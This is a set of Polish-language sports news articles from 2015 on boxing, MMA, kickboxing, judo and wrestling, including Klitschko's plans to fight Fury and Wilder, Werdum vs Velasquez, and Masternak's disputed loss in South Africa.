Mistrz z Ukrainy nadal chce walczyć o najwyższe cele. W jego kolekcji brakuje mu mistrzowskiego pasa WBC, dlatego też Władimir Kliczko poważnie myśli o pojedynku z Deontayem Wilderem.

Ukrainiec będzie musiał odłożyć swoje plany w czasie. Starcie z Wilderem jest jak najbardziej realne, jednak na obecną chwilę do niego nie dojdzie. Najwcześniej na początku przyszłego roku. Kliczko jesienią zmierzy się Tysonem Furym, który jest obowiązkowym pretendentem do pasa WBO. Anglik słynie z niewyparzonego języka i wielokrotnie wyrażał chęć walki z Ukraińcem, podkreślając przy tym, że go pokona. Fury będzie miał okazję wcielić swoje słowa w życie, ale jak pokazuje doświadczenie – różnie z tym bywa. Wystarczy wspomnieć Davida Haye’a , który odgrażał się, ale i tak przegrał z Kliczko. Z pewnością Fury ma możliwości, aby sprawić niespodziankę. Anglik jest młody, szybki i ma mocny cios, jednak Kliczko to pięściarz doświadczony i potrafi przygotować się do rywalizacji. Choć Fury może przysporzyć mu kłopotów.

Brakujący pas

Jednak Ukrainiec myśli o Wilderze. To mógłby być pojedynek rodem z „Gwiezdnych wojen”. Wilder to pięściarz maszynka, który rozbija to, co stanie na jego drodze. W swojej karierze tylko raz rozstrzygnął pojedynek na punkty, a było to walce o mistrzostwo świata WBC z Bermane Stivernem. Amerykanin jest królem nokautów. Zazwyczaj jego walki nie trwają dłużej niż cztery rundy! A w dużej części swoich rywali kładł na deski już w pierwszej rundzie. Kliczko chce się spotkać z Wilderem i udowodnić, kto jest prawdziwym mistrzem. Ponadto, Ukrainiec chce uzupełnić braki w swojej kolekcji i zyskać pas WBC. Jednak zaznacza, że nie jest to konieczne. – Jednym z moich celów jest pojedynek z Wilderem. Chcę z nim walczyć od momentu, w którym sięgnął po tytuł, którego nie zdobyłem. Chcę zunifikować wszystkie pasy, ale nie muszę tego robić. Jeśli nie dojdzie do walki nadal pozostanę mistrzem – powiedział Kliczko.

Ukrainiec przygotowuje się do starcia z Furym, a najbliższym rywalem Wildera będzie Eric Molina. 33-latek przegrał dwa razy w swojej karierze – w debiucie oraz trzy lata temu z Chrisem Arreolą. Ostatnio wygrał z Raphaelem Zumbano Love i była to jego piąta wygrana z rzędu.

Brytyjska potyczka?

Do ciekawego starcia mogłoby dojść w Wielkiej Brytanii, ale wydaje się, iż jest to melodia przyszłości. Fantastycznie rozwija się Anthony Joshua, który pokonuje kolejnych rywali. Z kolei po przerwie na ring zamierza wrócić David Haye. 34-latek nie ukrywa, że chciałby zmierzyć się z młodszym kolegą. – O tym, czy dojdzie do mojej walki z Joshuą zadecyduje wiele czynników.  Konieczne jest, abym wrócił na ring. Z kolei Joshua musi nadal wygrywać. On i ja jesteśmy z Londynu. Gdyby doszło do naszej walki, byłoby to wielkie wydarzenie – powiedział Haye.

KM

Ciężki pojedynek

Cierpliwość popłaca. Fabricio Werdum w końcu doczekał się na pojedynek z Cainem Velasquezem. Prędzej czy później i tak by do niego doszło.

Długa historia

Starcie Brazylijczyka i Amerykanina planowane było już wcześniej, jednak kłopoty zdrowotne Velasqueza wykluczyły walkę. Zawodnicy mieli spotkać się podczas UFC 180. Ostatecznie Werdum walczył z Markiem Huntem.

Problemem Velasqueza są liczne kontuzje, które uniemożliwiają mu regularne starty. Z pojedynku z Werdumem wyeliminował go uraz łąkotki kolana. Wcześniej Amerykanin zmagał się z kontuzją barku, której doznał tuż po zdobyciu mistrzostwa wagi ciężkiej. Przerwa Velasqueza trwała osiem miesięcy. Ponadto, w 2012 roku poddał się operacji kolana. Dolegliwości zdrowotne towarzyszą Amerykaninowi praktycznie na każdym kroku.

Po blisko siedmiu miesiącach od UFC 180 w końcu dojdzie do spotkania Werduma i Velasqueza. W oktagonie staną naprzeciw siebie dwaj wielcy zawodnicy.

Wyczekiwane starcie

13 czerwca w Meksyku spotkają się dwie gwiazdy UFC. Velasquez w swoich dotychczasowych występach poniósł zaledwie jedną porażkę. Amerykanin przegrał z Juniorem Dos Santosem w listopadzie 2011 roku, jednak szybko wziął rewanż na Brazylijczyku. Velasquez dwukrotnie udowodnił swoją wyższość. Po raz ostatni pojawił się w oktagonie w październiku 2013 roku, czyli w pojedynku z Werdumem wróci do rywalizacji po ponad półtorarocznej przerwie. Czy podoła wymaganiom?

Warto nadmienić, że Velasquez wypadł z rytmu. Od wspomnianej porażki z Dos Santosem walczył zaledwie cztery razy. Stosując prostą matematykę wychodzi, że w ostatnim czasie pojawiał się w oktagonie zaledwie raz na rok. A trzeba pamiętać, że miał jeszcze długą przerwę. Zatem zasadne jest pytanie o kondycję Velasqueza i jego obecne możliwości, które pozostają zagadką.

Wiadomo, że Amerykanin ma ogromny potencjał. Fabricio Werdum jest w o tyle lepszej sytuacji, że zna swoje możliwości. Brazylijczyk walczy regularnie i jest pewny siebie, a umacniają go w tym ostatnie dokonania. 37-latek wygrał pięć ostatnich pojedynków, w których uporał się m.in. z Royem Nelson czy Antonio Nogueirą. Ostatnią walkę stoczył podczas UFC 180, kiedy pokonał Marka Hunta. Czy Velasquez jest w stanie przypomnieć Brazylijczykowi jak smakuje porażka? Werdum po raz ostatnim przegrał w 2011 roku, a jego pogromcą był Alistair Overeem.

Walka o stawkę

Dwa mocne nazwiska. Stawką pojedynku będzie pas mistrza UFC w wadze ciężkiej. Werdum nie będzie chciał go oddać, a Velasquez dołoży wszelkich starań, aby w dobrym stylu wrócić do oktagonu. Amerykanin jest młodszy, ale ma za sobą długą przerwę w startach. Werdum to doświadczenie i regularność. Amerykanin nie ma wątpliwości, że to będzie fantastyczny pojedynek. – Jestem gotowy na to starcie. Walka będzie twarda i pełna emocji. Werdum jest coraz lepszy, ale ja także.  Czekam na pojedynek w Mexico City.

KM

Pojechali, zwyciężyli i wrócili

Idealny wręcz scenariusz. Podczas prestiżowych zawodów Pucharu Świata WAKO Bestfighter Polacy zdobyli osiemnaście medali. Kickboxing po raz kolejny uwydatnił swój potencjał.

Takie też były przewidywania. Polacy pojechali do Włoch po medale i w celu wzmocnienia formy przed najważniejszymi startami w sezonie. W rywalizacji z mocnymi fighterami nasi reprezentanci pokazali wysokie umiejętności. Dwudziestosiedmioosobowa kadra wywalczyła osiemnaście medali – siedem złotych, cztery srebrne i siedem brązowych.

Polacy z dobrej strony pokazali się w low kicku. Pięć złotych medali najlepiej świadczy o możliwościach naszych reprezentantów. Po raz kolejny dobrą formę potwierdziła Marta Waliczek, która na krajowym podwórku nie ma sobie równych. Okazuje się, że w zawodach międzynarodowych prezentuje równie wysoki poziom i pokonuje kolejne przeszkody. Tym razem Polka walcząca w kategorii 65kg pokonała Sarę Surrel z Francji. Złoto zawisło również na szyi Iwony Nierody (56kg). To kolejny medal zawodniczki Diamentu Pstrągowa, która ustawicznie powiększa swoją kolekcję. W finałowym pojedynku Nieroda rywalizowała z mocną Francuską Emmą Gongorą, jednak dobre przygotowanie do walki i konsekwencja pozwoliły Polce odnieść triumf. Warto zauważyć, że w low kicku biało – czerwoni mieli szczęście do reprezentantów Francji. Mateusz Białecki (67kg) również triumfował po wygranej z zawodnikiem Trójkolorowych. Dobrą dyspozycję potwierdził Łukasz Kaczmarczyk. W kategorii 71kg Polak uporał się z Witalijem Dubiną z Ukrainy. O miejsce w kadrze na mistrzostwa świata walczy nadal Patryk Zaborowski (91kg). Po występie w Rimini z pewnością bardzo przybliżył się do wyjazdu do Serii. We Włoszech Zaborowski zdobył złoto, a w finale w dobrym stylu uporał się z reprezentantem gospodarzy Lorenzo Scalzim, którego odprawił w drugiej rundzie.

Jako jedyny w formule kick light Polskę reprezentował Piotr Wypchał (94kg) i to w jakim stylu. Zawodnik z Krakowa wywalczył złoty medal. Najwięcej krążków odnotowaliśmy w full contact, gdzie Polacy zdobyli ich aż dwanaście, ale tylko jeden koloru złotego. Ze świetnej strony pokazał się Kacper Frątczak (81kg), który zajął pierwsze miejsce i mógł cieszyć się z wygranej. Dla 19-latka to ogromne osiągnięcie. Zwłaszcza, że po drodze Frątczak odprawił mistrza Europy WAKO PRO Artura Raisa. Swoich sił w wyższej kategorii spróbował Mateusz Kubiszyn, który zazwyczaj walczy w 86kg. We Włoszech wystartował w 91kg i zdobył srebrny medal. Polak był blisko triumfu, gdyż w finale rywal z Norwegii był już liczony, ale mimo to udało mu się odnieść zwycięstwo. Nadzieje spełnił Wojciech Peryt, który w kategorii 54kg zdobył srebro. Krążek tego koloru wywalczyły również Gabriela Bednarowicz (56kg) oraz Anna Kołodziejska (+70kg). Z dobrej strony w debiucie zaprezentował się Michał Grzesiak (91kg), który sięgnął po brązowy medal. W wyższej kategorii wagowej na trzeciej pozycji uplasował się Jakub Kozera. Ponadto po brązowe medale sięgały panie: Karolina Mośko (48kg), Emilia Czerwińska (60kg), Kamila Berek (65kg) i Karolina Dziedzic (70kg).

Start w Rimini w wykonaniu naszych reprezentantów był udany. Osiemnaście medali to wynik, który potwierdza miejsce Polski na mapie światowego kickboxingu. Oby na mistrzostwach świata w Belgradzie (low kick) i Dublinie (full contact) Polacy również zajmowali miejsca na szczycie.

KM

Pech Jotki, Częstochowa bez KSW

Krzysztof Jotko cały czas czeka na powrót do oktagonu po kontuzji. Odpadają kolejni rywale Polaka. W październiku w Częstochowie miała odbyć się kolejna gala KSW, ale ostatecznie do niej nie dojdzie.

Rywale wykruszają się

Polski fighter bardzo chce w końcu zaprezentować się w oktagonie. Jotko jest głodny walki. Nie walczył przez osiem miesięcy z powodu kontuzji ręki, jednak doszedł już do zdrowia i w końcu chciałby pojawić się w oktagonie. Tyle, że wszystko cały czas pod górę…

Fenomenalny występ Jotki podczas UFC Fight Night – Nelson vs Story i pokonanie Tora Troenga dały Polakowi zastrzyk energii. Wydawało się, że 25-latek stopniowo będzie robił postępy i rozwijał się w UFC. Kontuzja zatrzymała jego marsz na szczyt. Jotko miał wystąpić na UFC w Krakowie, jednak uraz uniemożliwił mu realizację planów. Licznik występów Polaka w najlepszej organizacji mieszanych sztuk walki na świecie zatrzymał się na trzech pojedynkach. Kiedy wydawało się, że w końcu Jotko ruszy do przodu i stoczy kolejną walkę, rywale zaczęli się sypać. Początkowo podczas gali UFC Fight Night w Berlinie rywalem Polaka miał być Derek Brunson. Okazało się, że rywalizacja nie może dojść do skutku z powodu kontuzji Amerykanina. Z pewnością ciśnienie polskiemu zawodnikowi skoczyło, jednak po chwili ustabilizowało się. Brunsona miał zastąpić Uriah Hall. Minęło kilka dni i okazało się, że Jamajczyk z Nowego Jorku ma problemy wizowe. Pojedynek Krzysztofa Jotki został usunięty z karty walk w Berlinie. Polak musi zatem poczekać na swój powrót.

Częstochowa bez KSW

Wielkim wydarzeniem miała być gala najlepszej polskiej organizacji mieszanych sztuk walki w Anglii. Poprzedzać ją miała impreza w Częstochowie, jednak do niej nie dojdzie. Martin Lewandowski i Maciej Kawulski zostali zmuszeni do odwołania gali. Nie przez osoby trzecie, ale przez Halę Widowiskowo – Sportową w Częstochowie.

Gala KSW to ogromne przedsięwzięcie wymagające pracy i zaangażowania wielu osób, ale także i funkcjonalności obiektu, na którym ma miejsce. Hala w Częstochowie nie spełnia wszystkich wymogów. Sprzęt nagłaśniający i oświetleniowy, który miałby zostać podwieszany pod dachem znacznie przewyższa dopuszczalne normy. Niewykluczone, że KSW wróci do Częstochowy.

Pojedynek Borysa Mańkowskiego z Mikhailem Tsarevem, który miał odbyć się w Częstochowie został przeniesiony na galę w Londynie. Pozostałe walki prawdopodobnie będą miały miejsce podczas imprezy w Krakowie.

Naruszczka wraca

32-letni fighter ponownie pojawi się w Polsce, ale nie na gali KSW, lecz PLMMA 56. Doświadczony Naruszczka zmierzy się z Pawłem Brandysem, który ma na swoim koncie dwa zwycięstwa z rzędu. 32-latek zanotował trzy porażki z rzędu, a do Polski wraca po ponad dwóch latach. Ostatni raz Naruszczka w kraju walczył w marcu 2013 roku, kiedy to podczas KSW 22 przegrał z Rafałem Moksem.

KM

Kłys w drodze do Budapesztu

Ostatnia prosta przed Igrzyskami Europejskimi w Baku. W najbliższy weekend (13-14 czerwca) Katarzyna Kłys wystąpi w zawodach Grand Prix w judo, które odbędą się w Budapeszcie.

Brązowej medalistce ubiegłorocznych mistrzostw świata z Czelabińska potrzebne jest przetarcie przed udziałem w Igrzyskach Europejskich. W obecnym sezonie Kłys nie prezentuje tak dobrej formy jak w poprzednim roku, jednak nadal jest czołową postacią polskiej reprezentacji. Wokół judoczki z Rybnika w ostatnich miesiącach narodziło się zamieszanie związane z kwestią trenerską. Ostatecznie po rozmowach z prezesem PZJudo udało się ustalić kompromis. Kłys jest zawodniczką kadry prowadzonej przez Anetę Szczepańską, a nad jej formą czuwa również Artur Kłys. Zamieszanie nie wpłynęło dobrze na dyspozycję zawodniczki, która ma potencjał, aby w Rio de Janeiro sięgnąć po medal. Polka w klasyfikacji olimpijskiej zajmuje wysokie 10. miejsce, co gwarantuje jej start w Brazylii. Po fenomenalnym poprzednim sezonie nadeszła obniżka formy. Weryfikacją możliwości Kłys mają być Igrzyska Europejskie w Baku, do których intensywnie przygotowuje się. Aby być w rytmie judoczka zaliczy jeszcze jeden start – w Grand Prix w Budapeszcie, ale nie będzie tam sama. W zawodach weźmie udział Karolina Pieńkowska, która do Baku się nie wybiera. 21-latka przygotowuje się do lipcowej Uniwersjady w Korei Południowej.

Warto dodać, że pierwsze w historii Igrzyska Europejskie w wykonaniu judoków będą zarazem rywalizacją w mistrzostwach Europy. Powodem takiego stanu rzeczy jest odebranie imprezy Wielkiej Brytanii.  Do Baku wybiera się piętnastoosobowa reprezentacja Polski. Biało – czerwoni intensywnie trenują przed startem w Azerbejdżanie. Reprezentacja Polski mężczyzn obecnie szlifuje formę w Mińsku, gdzie nasi zawodnicy sparują z przeciwnikami z najwyższej półki. 12 czerwca panowie udadzą się na zgrupowanie do Zakopanego.

Wśród naszych zawodników najwyżej stoją akcje Macieja Sarnackiego, który w tym sezonie wygrał zawody na warszawskim Torwarze. Polski judoka utrzymuje dobrą formę od poprzedniego sezonu. Sarnacki jest regularny, skuteczny, ale przytrafiają mu się urazy. Dlatego ważne jest, aby w pełni sił przystępował do kolejnych startów. Wśród pań w tym sezonie imponuje Daria Pogorzelec. Warto zauważyć, że ogromne postępy poczyniła Agata Perenc. Zawodniczka z Rybnika czterokrotnie zdobywała brązowe medale w tym sezonie – Oberwart, Samsun, Zagrzeb i Kluż-Napoca. Warto pamiętać o możliwościach Agaty Ozdoby.

Polacy są na ostatniej prostej przed startem w Baku. Katarzyna Kłys ma przed sobą ostatni sprawdzian formy – Grand Prix w Budapeszcie, gdzie będzie chciała stoczyć jak najwięcej pojedynków, aby wejść we właściwy rytm. Panowie trenują w Mińsku i z nadziejami patrzą w przyszłość. Rywalizacja judoków w Azerbejdżanie odbędzie się w dniach 25-28 czerwca.

KM

Judo Grand Prix: światowe gwiazdy w Budapeszcie

Aż 5 Mistrzów Olimpijskich i 10 Mistrzów Świata wystąpi w ten weekend (13-14 czerwca) wGrand Prix w judo w Budapeszcie. Transmisje na żywo w sobotę i niedzielę od g. 17:00 na antenie FightKlubu. To ostatni sprawdzian przed Igrzyskami Europejskimi połączonymi z Mistrzostwami Europy w Baku.
 
Na liście zgłoszeń do zawodów w węgierskiej stolicy widnieje ponad 400 nazwisk zawodniczek i zawodników z 70 państw. W tym gronie są dwie reprezentantki Polski –Karolina Pieńkowska (-52 kg) i utytułowana Katarzyna Kłys (-70 kg).
 
– Chcę zdobywać doświadczenie oraz punkty do rankingu olimpijskiego. W lipcu czeka mnie uniwersjada w Korei Płd. – powiedziała Karolina Pieńkowska, która w kategorii -52 kg rywalizuje z Agatą Perenc i Zuzanną Pawlikowską. Tylko jedna z polskich zawodniczek wystąpi w Igrzyskach w Rio 2016.
 
Celem brązowej medalistki MŚ 2014 i 2-krotnej Wicemistrzyni Europy Katarzyny Kłys również jest uzyskanie jak największej liczby punktów w Budapeszcie, tym bardziej, że w lipcu nie startuje w Grand Prix w Mongolii i Grand Slamie w Rosji. Będzie przygotowywała się do sierpniowych Mistrzostw Świata w Kazachstanie. Gospodarze liczą na swoje gwiazdy na czele z Miklosem Ungvarim (-81 kg) i Barną Borem ( 100 kg) oraz Evą Csernoviczki (-48 kg) i Abigel Joo (-78 kg).

Zapowiedz:

[kod]

Źródło: materiały prasowe

Na żywo w sobotę: starcie o pas mistrza Europy w wadze junior średniej

W telewizji FightKlub pokażemy kolejny pojedynek o prestiżowy tytuł mistrza Starego Kontynentu, tym razem w kategorii junior średniej. Na gali we włoskiej Brescii o charakterystyczny błękitny pas zawalczą Włoch Orlando Fiordigiglio (21-0, 11 KO) oraz Francuz Cedric Vitu (41-2, 16 KO).Limit 154 funtów to jedna z najlepiej obsadzonych dywizji we współczesnym boksie. Zwycięzca sobotniego pojedynku może uzyskać przepustkę do pojedynków z takimi tuzami, jak bracia Charlo, Demetrius Andrade, Erislandy Lara czy Cornelius Bundrage. Faworytem sobotniej walki wydaje się reprezentujący gospodarzy i niepokonany w 21. walkach Orlando Fiordigiglio. 30-latek z Neapolu był już m.in. mistrzem Unii Europejskiej, więc pełny tytuł EBU jest dla niego naturalny etapem kariery. 29-letni Cedric Vitu po stronie swoich atutów może na pewno zapisać większe doświadczenie (aż 43 walki) oraz odwrotną pozycję. Który z nich będzie górą, przekonamy się w sobotę 13 czerwca. Transmisja od godziny 21:00 wyłącznie w FightKlubie.

Źródło: materiały prasowe

Wymagający Łotysze

Piąta już gala grupy DSF zapowiada się niezwykle ciekawie. We Włocławku odbędzie się finałowy pojedynek turnieju wagi ciężkiej w K-1 oraz mecz Polska – Łotwa w K-1.

Po raz kolejny kickboxing ma podnieść adrenalinę żądnym wrażeń. Tym razem we Włocławku dojdzie do efektywnych i emocjonujących pojedynków. Grupa DSF po raz kolejny zdecydowała się na zorganizowanie meczu z udziałem Polaków, tym razem w rywalizacji z Łotwą. Podczas kwietniowej gali w Warszawie doszło do spotkania z Macedonią, którego poziom był wysoki. Biało-czerwoni pewnie wygrali 3:0 za sprawą Doroty Godziny, Kamila Ruty oraz Łukasza Wichowskiego.

Czy tym razem będzie podobnie? Łotysze rysują się jako przeciwnik, który będzie walczył ambitnie i do samego końca. Tym razem w składzie Polski dojdzie do zmian. W meczu z Łotwą nie zobaczymy Wichowskiego oraz Ruty, a zastąpią ich Arkadiusz Dembiński i Radosław Paczuski. Kolejną walkę w barwach grupy DSF stoczy Dorota Godzina. Posiadaczka mistrzowskiego pasa zmierzy się z Jeleną Ozinską. Dwie piękne panie będą zawzięcie rywalizować, bo mają sobie coś do udowodnienia. Łotyszka chciałaby zrewanżować się Polce, która już kiedyś ją pokonała. Godzina w pojedynkach zawodowych okrzepła i nabrała pewności siebie. Zawodniczka DSF Kickboxing Team jest skuteczna, uważna, a przede wszystkim twarda. Arkadiusz Dembiński z Tom Center Team Piotrków Trybunalski w wadze 86kg spotka się z Reinisem Porozovsem. Polak w swojej karierze sięgnął po brązowy medal mistrzostw Europy. Z kolei jego rywal aż trzykrotnie zajmował trzecie miejsce na mistrzostwach świata. Tym samym przed Dembińskim trudne wyzwanie. W walce wieczoru zaprezentuje się Radosław Paczuski, nowa gwiazda DSF Kickboxing Team. Polak ostatnio imponował formą, co dało mu możliwość sprawdzenia się w rywalizacji z najlepszymi. Mistrz Polski w low kick we Włocławku stanie naprzeciw Artursa Ozolinsa. Łotysz swego czasu był wicemistrzem Europy, z kolei Paczuski w 2013 roku zdobył Puchar Świata K-1. Ozolins to silny zawodnik, który zazwyczaj walczy w wyższej kategorii wagowej. Polak musi uważać na boks Łotysza. Atutem Paczuskiego będzie szybkość i wytrzymałość. Zapowiada się ciekawa rywalizacja, prawdopodobnie bardzo wyrównana – kto wyjdzie z niej zwycięsko?

W finale turnieju wagi ciężkiej spotkają się zawodnicy, którzy awans wywalczyli w kontrowersyjnych okolicznościach. Tomasz Klimiuk pokonał Wojciecha Stawickiego po zaskakującej decyzji sędziego. Z kolei Michał Bławdziewicz dobrze zaczął pojedynek z Patrykiem Proszkiem, a później wyglądał coraz słabiej. Zatem teraz obaj muszą udowodnić, że w finale nie znaleźli się przypadkiem. W extra fight w formule full contact wystąpi Łukasz Wichowski. Jeden z najlepszych specjalistów w Polsce zmierzy się z Piotrem Smoczyńskim. Swoją wartość będzie chciał udowodnić Kamil Ruta, który w K-1 podejmie Patryka Zdrojewskiego z warszawskiej Palestry. Ciekawie zapowiada się starcie Sebastiana Adamskiego i Michała Dykowskiego. Dla obu to szansa, aby na dłużej zawitać w zawodowstwie. Co prawda Adamski stoczył już dwa pojedynki dla grupy DSF, ale nie udało mu się odnieść zwycięstwa. Dykowski zaliczył jeden start zawodowy, który zakończył wygraną.

12 czerwca 2015, Włocławek, gala Grupy DSF – mecz Polska vs Łotwa

KM

Baku – sprawdzian przed Las Vegas?

Czy taki charakter dla polskich zapaśniczek będą miały I Igrzyska Europejskie? Start w Baku jest testem przed mistrzostwami świata, ale zarazem okazją do odniesienia sukcesu. 

A nasze zawodniczki stać na miejsce na podium. W tym sezonie polskie zapaśniczki prezentują równą i stabilną formę. Wystarczy przeanalizować kilka startów, aby przekonać się, że poziom sportowy jest na przyzwoitym poziomie. W dobrej dyspozycji znajdują się Iwona Matkowska (48kg) oraz Katarzyna Krawczyk (55kg). Obie zawodniczki znalazły się w czołówce podczas zawodów Klippan Lady Open i Grand Prix w Paryżu. Matkowska, która trenuje w zespole Grunwaldu Poznań sięgnęła po srebro oraz brąz, z kolei reprezentująca Cement Gryf Poznań Krawczyk zdobyła dwa brązowe krążki. Ponadto, w Paryżu trzecie miejsce wywalczyła Roksana Zasina (53kg). Sprawdzianem dyspozycji dla naszej reprezentacji był występ w Pucharze Świata w Sankt Petersburgu. Polska miała okazję rywalizować z najlepszymi. Biało – czerwone w grupie przegrały z Japonią, Azerbejdżanem i USA, a w potycze o siódme miejsce okazały się lepsze od Szwedek. Doświadczenie obecnego sezonu pokazuje, że Polki wykazują wolę walki i chcą osiągać sukcesy.

Aby realizować postawione cele niezbędnym elementem jest okres przygotowawczy. Reprezentacja Polski kobiet już na początku roku odbyła zgrupowanie w Wiśle. Ważnym testem dla naszych zapaśniczek był pobyt w Mongolii. W Ułan Bator Polki miały okazję szlifować formę podczas ciężkich treningów oraz wymagających sparingów. Nasze zawodniczki wzięły udział w turnieju Mongolia Open, w którym miały okazję zmierzyć się z zapaśniczkami z Japonii, Mongolii, Kazachstanu oraz USA. Srebro trafiło do rąk Moniki Michalik (63kg), brąz wywalczyła Agnieszka Wieszczek – Kordus (69kg). Polki trenowały również w niemieckim Hennef, a ostatnio szlifowały formę w Spale.

Igrzyska Europejskie w Baku będą poważnym sprawdzianem dla naszych zawodniczek. Łatwo o sukces nie będzie, gdyż zapaśniczki zza wschodniej granicy prezentują wysoki poziom. Reprezentantki Rosji i Ukrainy będą niezwykle groźne, a warto pamiętać także o Łotyszkach. Z pewnością o medal może powalczyć doświadczona Monika Michalik. Zawodniczka Grunwaldu jest niezwykle utytułowana. Warto odnieść się do jej sukcesów podczas mistrzostw Europy, gdzie wywalczyła trzy złote, trzy srebrne oraz trzy brązowe medale. Michalik w tym sezonie pokazała, że stać ją na dobre występy. W tegorocznych startach równą formę prezentowała Iwona Matkowska, co daje nadzieję na medal w Azerbejdżanie.  Szansę w Baku dostanie Daria Osocka (75kg), która zdobyła złoty medal podczas młodzieżowych mistrzostw Europy w Wałbrzychu. Zapaśniczka robi ustawiczne postępy i wszyscy z nadzieją patrzą na jej rozwój. Warto pamiętać również o doświadczonej Agnieszce Wieszczek – Kordus.

Igrzyska Europejskie w Baku będą historycznym wydarzeniem. Zawody odbędą się po raz pierwszy. Zarazem będzie to okazja do zapisania się na kartach historii. Nasze zapaśniczki po starcie w Baku czeka kolejny istotny turniej. Walka o kwalifikację olimpijską, czyli start na mistrzostwach świata w Las Vegas.

Kadra Polski na Igrzyska Europejskie w Baku: Iwona Matkowska (48kg), Roksana Zasina (53kg), Katarzyna Krawczyk (55kg), Paulina Grabowska (58kg), Monika Michalik (63kg), Agnieszka Wieszczek-Kordus (69kg), Daria Osocka (75kg).

Igrzyska Europejskie rozpoczą się 12 czerwca, a zakończą 28 czerwca.

KM

Nieudana podróż Masternaka

Miało być inaczej. Mateusz Masternak mógł otworzyć sobie furtkę do walki o mistrzostwo świata, jednak nie udało się. Nie tyle z winy polskiego pięściarza, co w wyniku kontrowersyjnej decyzji sędziów.

„Master” pojechał do Republiki Południowej Afryki, aby skrzyżować rękawice z Johnny’m Mullerem. Rywal Polaka przeważnie walczył u siebie z pozytywnym efektem. Jedyny wyjazd w swojej karierze Muller zanotował do Monte Carlo i nie ma z tego wypadu najlepszych wspomnień. Do tej pory poniósł cztery porażki, wszyscy liczyli, że Masternak będzie autorem kolejnej przegranej zawodnika z RPA.

Polak miał świadomość stawki walki. Doskonale wiedział, że zwycięstwo przybliży go do walki o mistrzostwo świata. Od samego początku dominował, wyprowadzał więcej celnych ciosów i był skuteczniejszy.  W pierwszej odsłonie „Master” dał się zaskoczyć prawym sierpowym, jednak później zachowywał należytą ostrożność. Kolejna runda ułożyła się po myśli Polaka. Intensywna praca sprawiła, że w końcu znalazł doskonałą drogę, aby uszkodzić rywala dwoma sierpami. Masternak był aktywny, a jego rywal powoli siadał. Pierwszy kryzys reprezentant RPA miał w trzeciej rundzie, kiedy Polak trafił kombinacją lewy-prawy. Potężna bomba zrobiła wrażenie na Mullerze, który musiał w narożniku wysłuchać uwag swojego szkoleniowca. Słowa podziałały na zawodnika z RPA. Muller starał się zaskoczyć Masternaka, ale ten kontrował przebieg pojedynku.

Piąta runda była pokazem potencjału byłego mistrza Europy wagi junior ciężkiej. Raz za razem „Master” trafiał rywala. W końcu po lewym prostym Polaka Muller padł na deski. Był w szoku. Zebrał kilka potężnych ciosów, które zrobiły na nim wrażenie i wprawiły w zakłopotanie. Najlepsza okazja, aby wykończyć rywala, jednak w szóstej rundzie reprezentant RPA ruszył do przodu. „Master” musiał się bronić. W siódmej rundzie ponownie dominował Polak, który pokazał swojemu rywalowi, kto rządzi w ringu. Muller był bezradny. Masternak raz za razem słał na szczękę swojego przeciwnika kolejne ciosy. Po kombinacji lewy-prawy Muller znalazł się na deskach. Udało mu się wstać i kontynuować walkę, jednak Polak pokazał, że jest zdecydowanie lepszy. „Master” panował w ringu i słał kolejne ciosy w kierunku zawodnika z RPA. W ósmej rundzie sędzia poprosił o konsultację lekarską, gdyż z  powieki Mullera płynęła krew.

Do końca pojedynku zawodnik gospodarzy utrzymał się na nogach, ale zebrał jeszcze kilka ciosów. Sam starał się trafić Masternaka, jednak Polak skutecznie torpedował jego zapędy. Wydawało się, że po dziesięciu rundach wszystko jest jasne i zwycięzca może być tylko jeden. Dokładnie – wydawało się. Potwierdza się, że można coś widzieć, ale nie zawsze pokrywa się to z opinią innych – zwłaszcza tych, którzy podejmują decyzję. W oczach sędziów triumfował Muller. Dwóch arbitrów punktowało 95:93 dla zawodnika z RPA, jeden widział zwycięstwo „Mastera”. Polak dwa razy posłał rywala na deski, dominował, wyprowadzał celne ciosy, a mimo to przegrał. Sędziowie funkcjonowali w innej rzeczywistości. Prawdopodobnie dojdzie do rewanżowego starcia między Masternakiem i Mullerem.

KM

Cotto utrzymał się na szczycie

Portorykańczyk miał za zadanie pokonać Daniela Geale’a. Miguel Cotto zrealizował plan i obronił tytuł mistrza świata wagi średniej federacji WBC.

Na ringu w Barclays Center doszło do starcia dwóch mocnych pięściarzy. Zarówno Cotto jak i Geale nadal głęboko wierzą w swoje możliwości i chcą utrzymać się na szczycie. Australijczyk w 2014 roku przegrał prestiżowy pojedynek z Gennady’m Gołovkinem, jednym z najlepszych pięściarzy wagi średniej. Ostatnimi czasy forma Geale’a jest niestabilna, a raczej należy powiedzieć, że nie radzi sobie w rywalizacji z utytułowanymi bokserami. Nie inaczej było z Cotto. Portorykańczyk wrócił na właściwą drogę po trudnym dla siebie 2012 roku, kiedy to zanotował dwie porażki. Cotto musiał uznać wyższość Astina Trouta i Floyda Mayweathera Jr. Teraz jest na innym etapie swojej kariery. Nadal jest czołową postacią wagi średniej i nie powiedział jeszcze ostatniego słowa. Cotto i Geale są w podobnym wieku (Portorykańczyk jest rok starszy – 35 lat), ale na zupełnie innym etapie rozwoju swojej przygody z boksem. Na ringu w Nowym Jorku było to nadto widoczne.

Cotto od początku rozdawał karty w tym pojedynku. Mistrz świata WBC konsekwentnie atakował korpus rywala, co przynosiło pożądane efekty. Geale otwierał się i Cotto wykorzystywał okazję. W pierwszej rundzie Australijczyk zaatakował prawym sierpowym, ale odpowiedź Portorykańczyka była natychmiastowa.  Cotto był konsekwentny i ranił kolejnymi sierpami przeciwnika. Geale, który zawsze imponował pracą nóg, tym razem nie wykorzystał tego atutu. Portorykańczyk szybko stopował wszelkie zapędy rywala. Tak naprawdę pojedynek nie rozkręcił się. W czwartej rundzie pięściarze ruszyli na siebie. Nie zawsze byli skuteczni – obaj przestrzelili swoje pierwsze ciosy, a za już chwilę poprawili celowniki. Z tym, że szybszy był Cotto. Lewy sierp Portorykańczyka wpasował się w szczękę Geale’a i ten padł na deski. Australijczyk wstał i kontynuował pojedynek, jednak był w szoku. Cios Cotto zrobił na nim wrażenie, wystarczyło dokończyć dzieła. A mistrz świata WBC to doświadczony pięściarz, który doskonale wie, co należy robić w takich sytuacjach. Cotto doskoczył do rywala i po chwili postawił kropkę nad „i”. Po krótkim prawym Geale po raz drugi padł na deski. Wstał, ale nie był w stanie kontynuować walki.

